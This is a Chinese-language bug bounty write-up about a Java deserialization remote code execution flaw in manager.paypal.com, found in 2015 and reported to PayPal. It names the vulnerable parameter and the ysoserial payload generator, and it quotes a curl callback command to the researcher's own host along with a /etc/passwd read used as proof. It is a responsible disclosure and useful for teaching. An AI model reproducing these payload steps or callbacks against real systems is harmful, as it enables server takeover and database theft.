2015年12月,筆者在PayPal的某個分站中發現了一個能夠遠程執行任意shell命令的java反序列化漏洞,并且能夠影響到PayPal的產品數據庫。我馬上將該漏洞提交給了PayPal,并且很快得到了修復。
漏洞細節
在測試manager.paypal.com這個站點時,我的注意力被post提交中的不尋常的參數“oldForm”所吸引,這個參數的內容就像是base64解碼后的復雜對象。
在經過一些研究之后,我意識到這就是能被應用處理的沒有經過簽名的java序列化對象。這意味著你能將存在的class序列化后提交給服務器,然后“readObject”(或者“readResolve”)方法會被調用來解析該序列化的對象。為了利用這個漏洞,你需要在應用的 “classpath” 中找到一個能被序列化的合適的class,并且能被“readObject”所解析。你可以從FoxGlove Security的文章中了解更多相關的技術細節。一年前,Chris Frohoff和Gabriel Lawrence在Apache Common Collection這個庫中發現了能夠導致遠程命令執行的合適的classes,然后也發布了“ysoserial”這個payload生成器。
漏洞證明
我馬上下載了上面說到的這個工具,然后生成了一個簡單的payload,這個payload會執行“curl x.s.artsploit.com/paypal”這個shell命令,然后會發送DNS和http請求到我自己的服務器。
然后我在post請求的“oldFormData”參數中填入base64編碼后的payload,發送給了服務器。在那之后,令我印象深刻的是在我的NGINX access log中發現了來自PayPal 的請求。
我意識到我能在manager.paypal.com這個服務器上執行任意的命令,甚至我能反彈一個shell權限到我自己的服務器,然后上傳和執行一個后門程序。結果會是通過manager.paypal.com這個網站,我能獲取到paypal的production數據庫。
但是我沒有像上面說的那么去做,我只是讀取了“/etc/passwd”的內容作為漏洞的驗證。
我還搗鼓了一個如果復現該漏洞的視頻提交給了PayPal安全團隊。然后,我還發現了manager.paypal.com的其他很多地方也使用了序列化對象,并且能夠被利用。